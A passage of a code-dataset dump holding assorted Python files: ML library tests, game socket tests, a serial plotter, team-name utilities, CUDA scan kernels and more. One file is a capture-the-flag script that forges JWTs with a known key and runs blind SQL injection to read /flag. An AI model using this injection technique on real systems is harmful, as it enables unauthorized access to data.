\"imblearn.under_sampling._prototype_selection._condensed_nearest_neighbour.CondensedNearestNeighbour\",\n \"imblearn.under_sampling._prototype_selection._edited_nearest_neighbours.AllKNN\",\n \"imblearn.under_sampling._prototype_selection._edited_nearest_neighbours.EditedNearestNeighbours\",\n \"imblearn.under_sampling._prototype_selection._edited_nearest_neighbours.RepeatedEditedNearestNeighbours\",\n \"imblearn.under_sampling._prototype_selection._instance_hardness_threshold.InstanceHardnessThreshold\",\n \"imblearn.under_sampling._prototype_selection._nearmiss.NearMiss\",\n \"imblearn.under_sampling._prototype_selection._neighbourhood_cleaning_rule.NeighbourhoodCleaningRule\",\n \"imblearn.under_sampling._prototype_selection._one_sided_selection.OneSidedSelection\",\n \"imblearn.under_sampling._prototype_selection._random_under_sampler.RandomUnderSampler\",\n \"imblearn.under_sampling._prototype_selection._tomek_links.TomekLinks\",\n \"imblearn.under_sampling.base.BaseCleaningSampler\",\n \"imblearn.under_sampling.base.BaseUnderSampler\"\n ]\n assert got == expect, got\n","sub_path":"galaxy_ml/tests/test_model_persist.py","file_name":"test_model_persist.py","file_ext":"py","file_size_in_byte":12280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"192142613","text":"from unittest.mock import patch\n\n\ndef test_durak_should_emit_game_found_event(socketio_clients):\n client1, client2 = socketio_clients.get_tuple(2)\n\n client1.emit('search', 'durak', 2)\n client2.emit('search', 'durak', 2)\n\n client1_events = client1.get_received()\n client2_events = client2.get_received()\n assert len(client1_events)\n assert len(client2_events)\n\n client1_event = client1_events.pop()\n client2_event = client2_events.pop()\n\n assert client1_event is not None\n assert client2_event is not None\n\n assert client1_event['name'] == client2_event['name'] == 'game_found'\n\n\ndef test_durak_should_not_emit_game_found_event_for_three(socketio_clients):\n client1, client2 = socketio_clients.get_tuple(2)\n\n client1.emit('search', 'durak', 3)\n client2.emit('search', 'durak', 3)\n\n client1_events = client1.get_received()\n client2_events = client2.get_received()\n\n assert not len(client1_events)\n assert not len(client2_events)\n\n\ndef test_durak_should_not_emit_game_found_event_different_number_of_players(socketio_clients):\n client1, client2 = socketio_clients.get_tuple(2)\n\n client2.emit('search', 'durak', 3)\n client1.emit('search', 'durak', 2)\n\n client1_events = client1.get_received()\n client2_events = client2.get_received()\n\n assert not len(client1_events)\n assert not len(client2_events)\n\n\ndef test_durak_should_return_correct_room_id_when_game_is_found(socketio_clients):\n CORRECT_ROOM_ID = 'correct room id'\n\n with patch('uuid.uuid1') as uuid:\n uuid.return_value = CORRECT_ROOM_ID\n\n client1, client2 = socketio_clients.get_tuple(2)\n\n client2.emit('search', 'durak', 2)\n client1.emit('search', 'durak', 2)\n\n client1_events = client1.get_received().pop()\n client2_events = client2.get_received().pop()\n\n assert client1_events['args'][0]['room_id'] == CORRECT_ROOM_ID\n\n assert client2_events['args'][0]['room_id'] == CORRECT_ROOM_ID\n","sub_path":"tests/test_search_event.py","file_name":"test_search_event.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"449485777","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport sys, time, math\nimport serial\n\nser = serial.Serial(\n port='COM4',\n baudrate=115200,\n parity=serial.PARITY_NONE,\n stopbits=serial.STOPBITS_TWO,\n bytesize=serial.EIGHTBITS\n)\n\nxsize=500\ncumsum = 1\ncumaverage = 1\n \ndef data_gen():\n t = 0\n tempsum = 0\n while True:\n t+=1\n tempin = float(ser.readline())\n temp=tempin/10000.0\n tempsum += temp\n if t <= 0:\n tempavg = tempsum\n else:\n tempavg = tempsum/t\n yield t, temp, tempavg\n\ndef run(data):\n # update the data\n t,y1,y2 = data\n if t>-1:\n xdata.append(t)\n y1data.append(y1)\n y2data.append(y2)\n if t>xsize: # Scroll to the left.\n ax.set_xlim(t-xsize, t)\n line1.set_data(xdata, y1data)\n line2.set_data(xdata, y2data)\n return line1, line2,\n\ndef on_close_figure(event):\n sys.exit(0)\n\ndata_gen.t = -1\nfig = plt.figure()\nfig.canvas.mpl_connect('close_event', on_close_figure)\nax = fig.add_subplot(111)\nline1, = ax.plot([], [], lw=2)\nline2, = ax.plot([], [], lw=2)\nax.set_ylim(0,100)\nax.set_xlim(0, xsize)\nax.grid()\nxdata, y1data, y2data = [], [], []\n\n# Important: Although blit=True makes graphing faster, we need blit=False to prevent\n# spurious lines to appear when resizing the stripchart.\nani = animation.FuncAnimation(fig, run, data_gen, blit=False, interval=100, repeat=False)\nplt.show()\n","sub_path":"Project 1 - Oven Reflow Controller/Zach's Works for Previous labs/Module3Stripplot - Zach.py","file_name":"Module3Stripplot - Zach.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"332906849","text":"#!/usr/bin/env python3.7\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 26 13:04:19 2019\n\n@author: ejreidelbach\n\n:DESCRIPTION: Contains functions that are used to standardize team names \n and team logos for all NCAA and NFL teams.\n\n:REQUIRES:\n Refer to the Package Import section of the script\n \n:TODO:\n TBD\n\"\"\"\n \n#==============================================================================\n# Package Import\n#==============================================================================\nimport os \nimport pandas as pd\nimport pathlib\n\n#==============================================================================\n# Reference Variable Declaration\n#==============================================================================\n\n#==============================================================================\n# Function Definitions\n#==============================================================================\ndef build_team_dict(league, value = 'Team'):\n '''\n Purpose: Create a lookup dictionary for teams at the NCAA or NFL level\n \n Inputs\n ------\n league : string\n The type of league to build the dictionary for (i.e. NCAA or NFL)\n value : string\n Name of variable that should serve as the value in the key-value pair\n \n Outputs\n -------\n dict_team_names : dictionary \n Team name lookup table with alternate names as keys and the desired\n standardized name as the value\n '''\n # read in school name information\n# df_team_names = pd.read_csv(path_dir.joinpath(\n# 'Data/teams_%s.csv' % league))\n df_team_names = pd.read_csv('Data/teams_%s.csv' % league)\n\n # convert the dataframe to a dictionary such that the keys are the\n # optional spelling of each team and the value is the standardized\n # name of the team\n dict_team_names = {}\n \n for index, row in df_team_names.iterrows():\n # isolate the alternative name columns\n names = row[[x for x in row.index if (('Name' in x) or \n ('TeamCode' in x) or \n ('Team' in x)\n )]]\n\n # convert the row to a list that doesn't include NaN values\n list_names_nicknames = [\n x for x in names.values.tolist() if str(x) != 'nan']\n \n # extract the standardized team name\n name_standardized = row[value]\n# \n# # add the standardized name\n# list_names_nicknames.append(name_standardized)\n \n # for every alternative spelling of the team, set the value to be\n # the standardized name\n for name_alternate in list_names_nicknames:\n dict_team_names[name_alternate] = name_standardized\n if type(name_alternate) != int:\n dict_team_names[name_alternate + ' ' + row['Nickname']] = name_standardized\n \n return dict_team_names\n \ndef rename_teams(list_teams, league, std_name = 'Team'):\n '''\n Purpose: Rename a list of teams to standardized name as specified in \n the file 'Data/teams_nfl.csv' (for NFL teams) or \n 'Data/teams_ncaa.csv' for (NCAA teams)\n\n Inputs\n ------\n list_teams : list of strings\n Original team names that are to be standardized \n league : string\n The type of league to build the dictionary for (i.e. NCAA or NFL) \n std_name : string\n The type of standardized name to return (i.e. a string based \n standardized name or the numeric TeamCode)\n \n Outputs\n -------\n list_teams_new : list of strings\n Standardized version of the original team names\n ''' \n # retrieve the lookup table for NFL teams\n dict_team_names = build_team_dict(league, std_name)\n \n # function that swaps a given team name for the new, standardized name\n def swap_team_name(name_old):\n if ((name_old == 'nan') or (pd.isna(name_old)) or \n (name_old == 'none') or (name_old == '')):\n return ''\n try:\n return dict_team_names[name_old]\n except:\n print('Did not find: %s' % (name_old))\n return name_old\n \n # iterate over each team name and swap it out for the standardized version\n list_teams_new = []\n for team in list_teams:\n list_teams_new.append(swap_team_name(team.strip().replace('é','e')))\n \n return list_teams_new\n\ndef standardize_logo_ncaa(df):\n '''\n Purpose: Fill in the value of the NCAA logo field for all players in a DF\n\n Inputs\n ------\n df : Pandas Dataframe\n Contains all the player information and metadata\n \n Outputs\n -------\n urls_ncaa : list of strings\n Standardized version of all school logo URLs\n ''' \n # ingest the school names and URLs from a flat file \n df_pictures = pd.read_csv('Data/teams_ncaa.csv')\n\n # create a dictionary where the team name is the key and the url is the value\n df_pictures.set_index('Team', drop=True, inplace=True)\n dict_pictures = df_pictures.to_dict('index')\n for key, value in dict_pictures.items():\n dict_pictures[key] = value['urlSchool']\n \n # create the variable 'pictureSchoolURL' to store each team's logo URL\n df['pictureSchoolURL'] = df['School'].apply(\n lambda x: dict_pictures[x] if x != '' else '')\n \n return df\n\ndef standardize_logo_nfl(df):\n '''\n Purpose: Fill in the value of the NFL logo field for all players in a DF\n\n Inputs\n ------\n df : Pandas Dataframe\n Contains all the player information and metadata\n \n Outputs\n -------\n urls_ncaa : list of strings\n Standardized version of all school logo URLs\n ''' \n # ingest the school names and URLs from a flat file \n df_pictures = pd.read_csv('Data/teams_nfl.csv')\n\n # create a dictionary where the team name is the key and the url is the value\n df_pictures.set_index('Team', drop=True, inplace=True)\n dict_pictures = df_pictures.to_dict('index')\n for key, value in dict_pictures.items():\n dict_pictures[key] = value['URL']\n\n def standardizeName(team):\n try:\n return dict_pictures[team]\n except:\n if team != '':\n print('Logo not found for %s' % (team))\n return ''\n \n # create the variable 'pictureSchoolNFL' to store each team's logo URL\n df['URL'] = df['Tm'].apply(lambda x: standardizeName(x))\n \n return df","sub_path":"code_python/standardize_names_and_logos.py","file_name":"standardize_names_and_logos.py","file_ext":"py","file_size_in_byte":6636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"446663976","text":"class Solution(object):\n def singleNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n maps = {}\n for i in nums:\n maps[i] = 0 # initialize the map\n for i in nums:\n maps[i] += 1\n \n for item in zip(maps.keys(), maps.values()):\n if item[1] == 1:\n return item[0]\n","sub_path":"137. Single Number II.py","file_name":"137. Single Number II.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"409001885","text":"#!/usr/bin/env python\n# coding: utf-8\n# hosch3n in 2020-05-25\n\nimport requests\n# import string\n# import time\n# import re\nimport jwt\n\nhttp_headers = {\n \"User-Agent\": \"\",\n \"Cookie\": \"\"\n}\n\nproxies = {\n \"http\": \"http://127.0.0.1:8088\",\n}\n\n# URL\nurl = \"http://challenge-fdac267715d86e75.sandbox.ctfhub.com:10080/index.php\"\n\n# rqs = requests.session()\n# rqs.post(url=url, headers=http_headers, proxies=proxies, data=http_data)\n\n# 生成JWT\ndef rebuild(key, payload):\n tmp_token = {\"user\": payload}\n jwt_headers = {\"alg\":\"HS256\", \"typ\":\"JWT\"}\n jwt_token = jwt.encode(tmp_token, key, algorithm=\"HS256\", headers=jwt_headers).decode('ascii')\n return jwt_token\n\ndef exploit(guess, median):\n payload_a = \"selec<>t/**/load_file('/flag')\"\n payload_b = f\"admin'/**/and/**/if((asci<>i(subst<>r(({payload_a}),{guess},1))>{median}),(selec<>t+pow(9999,100)),1)#\"\n key = \"xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6\"\n\n # 签名\n jwt_token = rebuild(key, payload_b)\n http_headers[\"Cookie\"] = f\"token={jwt_token}\"\n\n # 发包\n result = requests.get(url, headers=http_headers)\n\n # 判断\n # if result.status_code == 500:\n if 'Fatal error' in result.text:\n return True\n else:\n return False\n\n# 二分判断\ndef dichotomy(low, top):\n while (top - low > 1):\n median = (top + low) // 2\n tmp_bool = exploit(guess, median)\n if tmp_bool:\n low = median\n else:\n top = median\n return top\n\nif __name__ == \"__main__\":\n # test_string = string.printable\n flag = \"\"\n\n # 60张牌你能秒我?\n for guess in range(60):\n tmp_ascii = dichotomy(31, 127)\n flag += chr(tmp_ascii)\n print(flag)","sub_path":"PHP-Tricks/js_on.py","file_name":"js_on.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"265932706","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\nTODO:\n - fix bug for input array of size 1 - it should just zero out the array (of len 1)\n - optimize scan for bank conflicts - how to do this in Python Numba CUDA?\n - make scan generic, i.e. accept both device and host arrays\n\"\"\"\n\n\nimport numpy as np\nimport numba\nfrom numba import cuda, int32, float32, void\n\ndef exprefixsum(masks, indices, init = 0, nelem = None):\n \"\"\"\n exclusive prefix sum\n \"\"\"\n nelem = masks.size if nelem is None else nelem\n\n carry = init\n for i in xrange(nelem):\n indices[i] = carry\n if masks[i] != 0:\n carry += masks[i]\n\n #indices[nelem] = carry\n return carry\n\n@numba.jit(int32(int32[:],int32[:],int32), nopython=False)\ndef exprefixsumNumba(in_ary, out_ary, init = 0):\n \"\"\"\n exclusive prefix sum\n \"\"\"\n nelem = in_ary.size\n\n carry = init\n for i in range(nelem):\n out_ary[i] = carry\n carry += in_ary[i]\n\n return carry\n\n#@numba.jit(int32(int32[:],int32), nopython=False)\n@numba.njit\ndef exprefixsumNumbaSingle(in_ary, init = 0):\n \"\"\"\n exclusive prefix sum\n \"\"\"\n nelem = in_ary.size\n\n carry = init\n keeper = in_ary[0]\n in_ary[0] = init\n for i in range(1, nelem):\n carry += keeper\n keeper = in_ary[i]\n in_ary[i] = carry\n\n carry += keeper # total sum\n return carry\n\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n\n# CUDA\n\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # \n\n@cuda.autojit\ndef advanced_scan(g_odata, g_idata, n, aux):\n \"\"\"\n Bleloch algorithm.\n receives auxiliary array to store the whole sum\n only works for array of max size 1024\n adapted to Numba CUDA from \n [1] M. Harris, S. Sengupta, and J. D. Owens,\n \\“Parallel Prefix Sum (Scan) with CUDA Mark,\\” Gpu gems 3, no. April, pp. 1–24, 2007.\n \n \"\"\"\n temp = cuda.shared.array(shape = 0, dtype = numba.i4)\n\n thid = cuda.threadIdx.x # thread id in block\n tgid = cuda.grid(1) # thread id in grid\n bid = cuda.blockIdx.x # block id\n \n \n \n # load input into shared memory\n temp[2 * thid] = g_idata[2 * thid]\n temp[2 * thid + 1] = g_idata[2 * thid + 1]\n \n offset = 1\n\n # build sum in place up the tree\n d = n / 2\n while d > 0:\n cuda.syncthreads()\n \n if thid < d:\n ai = offset * (2 * thid + 1) - 1\n bi = offset * (2 * thid + 2) - 1\n\n temp[bi] += temp[ai]\n offset <<= 1 # multipy by 2\n d >>= 1 # divide by 2\n \n # clear the last element\n if thid == 0:\n temp[n - 1] = 0\n \n # traverse down tree and build scan\n d = 1\n while d < n:\n offset >>= 1\n cuda.syncthreads()\n \n if thid < d:\n ai = offset * (2 * thid + 1) - 1\n bi = offset * (2 * thid + 2) - 1\n \n t = temp[ai]\n temp[ai] = temp[bi]\n temp[bi] += t\n \n d *= 2\n \n cuda.syncthreads()\n \n # write results to device memory\n g_odata[2 * thid] = temp[2 * thid]\n g_odata[2 * thid + 1] = temp[2 * thid + 1]\n\n\n\n\n\ndef scan_gpu(in_ary, MAX_TPB = 512, stream = 0):\n\n n = in_ary.size\n\n tpb = MAX_TPB # number of threads per block\n epb = tpb * 2 # number of elements per block\n\n bpg = n // epb # number of whole blocks, if 0 only 1 incomplete block to process\n elb = n % epb # number of elements to process in last block, if 0 no last block to process\n\n if not isinstance(in_ary, cuda.cudadrv.devicearray.DeviceNDArray):\n raise Exception(\"INPUT ARRAY MUST BE IN DEVICE.\")\n\n # if there is only one block \n if bpg == 0 or (bpg == 1 and elb == 0):\n p2elb = np.int(np.ceil(np.log2(elb))) # minimum power of 2 to include elb\n telb = 2 ** p2elb # total number of elements in last block (counting with extra 0s)\n tlb = telb / 2 # total number of threads per block\n \n startIdx = 0 # start index of last block; 0 because it's the only block\n\n sm_size = telb * in_ary.dtype.itemsize # size of shared memory = telb\n\n dAux = cuda.device_array(shape = 1, dtype = in_ary.dtype, stream = stream) # we only want to store the final sum\n auxidx = 0\n \n last_scan[1, tlb, stream, sm_size](in_ary, dAux, auxidx, elb, startIdx)\n\n return dAux\n\n else:\n # number of scans is equal to the number of blocks plus the last block if any\n n_scans = bpg\n if elb != 0: # if there is last block\n n_scans += 1 \n\n # +1 because we want the total sum as a side result\n dAux = cuda.device_array(shape = n_scans, dtype = in_ary.dtype, stream = stream)\n\n # shared memory is of the size of the elements of block\n sm_size = epb * in_ary.dtype.itemsize\n\n # prescan all the whole blocks\n prescan[bpg, tpb, stream, sm_size](in_ary, dAux)\n\n # prescan the last block, if any\n if elb != 0:\n p2elb = np.int(np.ceil(np.log2(elb))) # minimum power of 2 to include elb\n telb = 2 ** p2elb # total number of elements in last block (counting with extra 0s)\n tlb = telb / 2 # total number of threads per block\n \n startIdx = 0 # start index of last block; 0 because it's the only block\n\n sm_size = telb * in_ary.dtype.itemsize # size of shared memory = telb\n\n auxidx = n_scans - 1 # index of where to save sum of last block\n\n startIdx = n - elb # index of first element of last block\n\n last_scan[1, tlb, stream, sm_size](in_ary, dAux, auxidx, elb, startIdx)\n\n # if n_scans is less than maximum number of elements per block\n # it's the last scan\n total_sum = scan_gpu(dAux, stream = stream)\n\n\n # sum kernel\n scan_sum[n_scans, tpb, stream](in_ary, dAux)\n\n #stream.synchronize()\n\n return total_sum\n\n@cuda.jit(\"void(int32[:], int32[:])\")\ndef scan_sum(g_data, aux):\n temp = cuda.shared.array(shape = 1, dtype = numba.i4)\n\n thid = cuda.threadIdx.x # thread id in block\n bid = cuda.blockIdx.x # block id \n\n if thid == 0:\n temp[0] = aux[bid]\n\n tgid = cuda.grid(1) # thread id in grid\n elid = tgid * 2 # each thread processes 2 elements\n\n n = g_data.size\n\n if elid >= n:\n return\n \n cuda.syncthreads() # synchronize to make sure value to sum is loaded in memory\n\n g_data[elid] += aux[bid] # do the sum\n\n if elid + 1 < n:\n g_data[elid + 1] += aux[bid]\n\n@cuda.jit(\"void(int32[:], int32[:])\")\ndef prescan(g_data, aux):\n \"\"\"\n Performs the Bleloch scan.\n Assumes blocks part of a larger array. Sum of block saved\n in auxiliary array. These sums are used to compute the \n scan of the final, larger array.\n \"\"\"\n temp = cuda.shared.array(shape = 0, dtype = int32)\n\n thid = cuda.threadIdx.x # thread id in block\n tgid = cuda.grid(1) # thread id in grid\n bid = cuda.blockIdx.x # block id\n\n bsize = cuda.blockDim.x\n \n # load input into shared memory\n temp[2 * thid] = g_data[2 * tgid]\n temp[2 * thid + 1] = g_data[2 * tgid + 1]\n \n offset = 1\n\n # build sum in place up the tree\n d = bsize\n while d > 0:\n cuda.syncthreads()\n \n if thid < d:\n ai = offset * (2 * thid + 1) - 1\n bi = offset * (2 * thid + 2) - 1\n\n temp[bi] += temp[ai]\n offset <<= 1 # multipy by 2\n d >>= 1 # divide by 2\n \n # save sum to sums array and clear last element\n if thid == 0:\n # the last element processed by this block is the size\n # of the block multiplied by 2\n last_elem_idx = bsize * 2 - 1\n aux[bid] = temp[last_elem_idx]\n temp[last_elem_idx] = 0\n \n # traverse down tree and build scan\n d = 1\n while d < bsize << 1:\n offset >>= 1\n cuda.syncthreads()\n \n if thid < d:\n ai = offset * (2 * thid + 1) - 1\n bi = offset * (2 * thid + 2) - 1\n \n t = temp[ai]\n temp[ai] = temp[bi]\n temp[bi] += t\n \n d <<= 1\n \n cuda.syncthreads()\n \n # write results to device memory, in global IDs\n g_data[2 * tgid] = temp[2 * thid]\n g_data[2 * tgid + 1] = temp[2 * thid + 1]\n\n\n@cuda.jit(\"void(int32[:], int32[:], int32, int32, int32)\")\ndef last_scan(g_data, aux, auxidx, elb, start_idx):\n \"\"\"\n Performs the Bleloch scan on last block, where size might be variable.\n g_data : array to perform scan on\n aux : where to store sum\n auxidx : where to store sum in aux array; if auxid == -1 it means that this is not part of\n a large array scan and sums should not be stored\n elb : number of elements of last block\n \"\"\"\n temp = cuda.shared.array(shape = 0, dtype = int32)\n\n thid = cuda.threadIdx.x # thread id in block\n tgid = cuda.grid(1) # thread id in grid\n bid = cuda.blockIdx.x # block id\n\n bsize = cuda.blockDim.x\n\n # load input into shared memory\n # if index is above number of elements in last block,\n # shared memory should be 0\n idx1 = 2 * thid\n idx2 = 2 * thid +1\n\n if idx1 < elb:\n temp[idx1] = g_data[start_idx + idx1]\n else:\n temp[idx1] = 0\n\n if idx2 < elb:\n temp[idx2] = g_data[start_idx + idx2]\n else:\n temp[idx2] = 0\n\n offset = 1\n\n # build sum in place up the tree\n d = bsize # bsize is half the number of elements to process\n while d > 0:\n # if thid == 0:\n # from pdb import set_trace; set_trace()\n cuda.syncthreads()\n \n if thid < d:\n ai = offset * (2 * thid + 1) - 1\n bi = offset * (2 * thid + 2) - 1\n\n temp[bi] += temp[ai]\n offset <<= 1 # multipy by 2\n d >>= 1 # divide by 2\n\n # clear the last element\n if thid == 0:\n \n # the last element processed by this block is the size\n # of the block multiplied by 2\n last_elem_id = bsize * 2 - 1\n\n if auxidx != -1:\n #aux[auxidx] = temp[last_elem_id]\n aux[auxidx] = temp[last_elem_id]\n\n temp[last_elem_id] = 0\n \n # traverse down tree and build scan\n d = 1\n while d < bsize << 1: # same thing as before\n offset >>= 1\n cuda.syncthreads()\n \n if thid < d:\n ai = offset * (2 * thid + 1) - 1\n bi = offset * (2 * thid + 2) - 1\n \n t = temp[ai]\n temp[ai] = temp[bi]\n temp[bi] += t\n \n d <<= 1\n \n cuda.syncthreads()\n \n # write results to device memory, in global IDs\n if idx1 < elb:\n g_data[start_idx + idx1] = temp[idx1]\n if idx2 < elb:\n g_data[start_idx + idx2] = temp[idx2]","sub_path":"MyML/helper/scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":10897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"349947479","text":"from ddt import data, ddt\nfrom rest_framework import status, test\n\nfrom waldur_core.structure.tests import fixtures\nfrom waldur_mastermind.google.tests import factories as google_factories\nfrom waldur_mastermind.marketplace.tests import factories as marketplace_factories\n\n\n@ddt\nclass GoogleCredentialsGetTest(test.APITransactionTestCase):\n def setUp(self):\n self.fixture = fixtures.ProjectFixture()\n service_provider = marketplace_factories.ServiceProviderFactory(\n customer=self.fixture.customer\n )\n google_credentials = google_factories.GoogleCredentialsFactory(\n service_provider=service_provider\n )\n self.url = google_factories.GoogleCredentialsFactory.get_url(google_credentials)\n\n @data('staff', 'owner')\n def test_user_can_get_google_credentials(self, user):\n user = getattr(self.fixture, user)\n self.client.force_authenticate(user)\n response = self.client.get(self.url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n @data('user')\n def test_user_can_not_get_google_credentials(self, user):\n user = getattr(self.fixture, user)\n self.client.force_authenticate(user)\n response = self.client.get(self.url)\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n","sub_path":"src/waldur_mastermind/google/tests/test_google_credentials.py","file_name":"test_google_credentials.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"367226502","text":"import postcodes_io_api\n\napi = postcodes_io_api.Api(debug_http=False)\n#data = api.get_postcode('SW112EF')\n\npostcodes = []\nwith open('postcodes4.txt', 'w') as f:\n for i in range(0,200000):\n# print(\"Gettings postcode {}\".format(i))\n data = api.get_random_postcode()\n postcodes.append(data[\"result\"][\"postcode\"])\n f.write(\"%s\\n\" % postcodes[i])\n\nnumber_of_unique_values = len(postcodes)\nprint(f\"postcode4: {number_of_unique_values}\")\n\n ","sub_path":"dictionaries/postcodes/postcode4.py","file_name":"postcode4.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"186155707","text":"'''\nAuthor: Steve Brownfield\nDate: 03/17/2018\n'''\n\nfrom wiki.core import Page\nfrom tests import WikiBaseTestCase\n\nPAGE_CONTENT = u\"\"\"\\\ntitle: TestGetTagsPageTitle\ntags: testTag1, testTag2\n\nHello, we are testing the wiki get_tags function?\n\"\"\"\n\nclass TestGetTags(WikiBaseTestCase):\n '''\n This tests the get_tags function of the wiki core of the wiki system.\n First we create a temp file called testGetTages.md with some tags, then\n call the get_tags function to see if it returns the proper tags.\n '''\n\n def setUp(self):\n super(TestGetTags, self).setUp()\n self.page_path = self.create_file('testGetTages.md', PAGE_CONTENT)\n self.page = Page(self.page_path, 'testGetTages')\n\n def test_get_tags(self):\n assert(\"testTag1\" in self.wiki.get_tags())\n assert(\"testTag2\" in self.wiki.get_tags())\n\n def tearDown(self):\n try:\n self.wiki.delete(\"testGetTages\")\n except:\n print(\"Error deleting temp file: testGetTages.md\")\n\n","sub_path":"Riki/tests/test_get_tags.py","file_name":"test_get_tags.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"130595854","text":"from flask import Flask, request\n\napp = Flask(__name__)\n\napp.config['DEBUG']\n\n@app.route('/')\ndef index_handler():\n for key, value in request.args.items():\n print(key, value)\n return value\n \n \n@app.route('/another')\ndef index_home():\n return \"not this one\"\n\nif __name__ == \"__main__\":\n app.run(port=8008)","sub_path":"hello_flask/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"249482671","text":"#!/usr/bin/env python3\n\n# Copyright (c) Facebook, Inc. and its affiliates.\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\nimport abc\n\nimport torch\n\nfrom habitat_baselines.common.utils import FixedDistributionNet\nfrom habitat_baselines.rl.models.rnn_state_encoder import RNNStateEncoder\nfrom habitat_baselines.rl.ppo.policy import Policy, Net\nfrom habitat_baselines.rl.ppo import VISUAL_ENCODER_MODELS\nfrom habitat_baselines.rl.ppo import AUX_CLASSES\n\n\nclass ExploreNavBaselinePolicyAux(Policy):\n def __init__(\n self,\n cfg,\n observation_space,\n action_space,\n goal_sensor_uuid,\n with_target_encoding,\n device,\n hidden_size=512,\n reachability_policy=None,\n visual_encoder=None,\n drop_prob=0.5,\n channel_scale=1,\n ):\n super().__init__(\n ExploreNavBaselineNetAux(\n cfg=cfg,\n observation_space=observation_space,\n hidden_size=hidden_size,\n goal_sensor_uuid=goal_sensor_uuid,\n with_target_encoding=with_target_encoding,\n device=device,\n visual_encoder=visual_encoder,\n drop_prob=drop_prob,\n channel_scale=channel_scale,\n ),\n action_space.n,\n )\n\n self.reachability_policy = reachability_policy\n\n if cfg.fixed_distribution:\n assert action_space.n == len(cfg.fixed_distribution), \"Action \" \\\n \"space \" \\\n \"should \" \\\n \"have the \" \\\n \"same dim\"\n self.action_distribution = \\\n FixedDistributionNet(cfg.fixed_distribution)\n\n\nclass ExploreNavBaselineNetAux(Net):\n r\"\"\"Network which passes the input image through CNN and concatenates\n goal vector with CNN's output and passes that through RNN.\n \"\"\"\n\n def __init__(self, cfg, observation_space, hidden_size, goal_sensor_uuid,\n with_target_encoding, device, visual_encoder=\"SimpleCNN\",\n drop_prob=0.5, channel_scale=1):\n super().__init__()\n self.goal_sensor_uuid = goal_sensor_uuid\n self.with_target_encoding = with_target_encoding\n num_recurrent_layers = getattr(cfg, \"num_recurrent_layers\", 1)\n rnn_type = getattr(cfg, \"rnn_type\", \"GRU\")\n\n self._n_input_goal = observation_space.spaces[\n self.goal_sensor_uuid\n ].shape[0]\n self._hidden_size = hidden_size\n\n self.visual_encoder = VISUAL_ENCODER_MODELS[visual_encoder](\n observation_space, hidden_size, drop_prob=drop_prob,\n channel_scale=channel_scale)\n\n visual_feat_size = 0 if self.is_blind else self._hidden_size\n rnn_out_size = self._hidden_size\n t_enc_size = self._n_input_goal if with_target_encoding else 0\n\n self.aux_models = aux_models = torch.nn.ModuleDict({})\n for aux_type in cfg.aux:\n aux_cfg = getattr(cfg, AUX_CLASSES[aux_type].__name__)\n aux_models[aux_type] = AUX_CLASSES[aux_type](\n aux_cfg, visual_feat_size, t_enc_size, rnn_out_size,\n observation_space=observation_space)\n\n print(rnn_type, num_recurrent_layers)\n self.state_encoder = RNNStateEncoder(\n visual_feat_size +\n t_enc_size,\n self._hidden_size,\n num_layers=num_recurrent_layers,\n rnn_type=rnn_type\n )\n\n self.train()\n\n @property\n def output_size(self):\n return self._hidden_size\n\n @property\n def is_blind(self):\n return self.visual_encoder.is_blind\n\n @property\n def num_recurrent_layers(self):\n return self.state_encoder.num_recurrent_layers\n\n def get_target_encoding(self, observations):\n return observations[self.goal_sensor_uuid]\n\n def forward(self, observations, rnn_hidden_states, prev_actions, masks):\n x = []\n target_encoding = None\n perception_embed = None\n\n if self.with_target_encoding:\n target_encoding = self.get_target_encoding(observations)\n target_encoding = target_encoding # /30. # TODO MAYBE NEED TO NORM\n x = [target_encoding]\n\n if not self.is_blind:\n perception_embed = self.visual_encoder(observations)\n x = [perception_embed] + x\n\n x = torch.cat(x, dim=1)\n x, rnn_hidden_states = self.state_encoder(x, rnn_hidden_states, masks)\n\n aux_out = dict({})\n for aux, aux_model in self.aux_models.items():\n aux_out[aux] = aux_model(\n observations, prev_actions, masks,\n perception_embed, target_encoding, x\n )\n\n return x, rnn_hidden_states, aux_out\n","sub_path":"habitat_baselines/rl/ppo/aimas_reachability_policy_aux.py","file_name":"aimas_reachability_policy_aux.py","file_ext":"py","file_size_in_byte":5026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"646788124","text":"#!/usr/bin/python2\n# -*- coding: utf-8 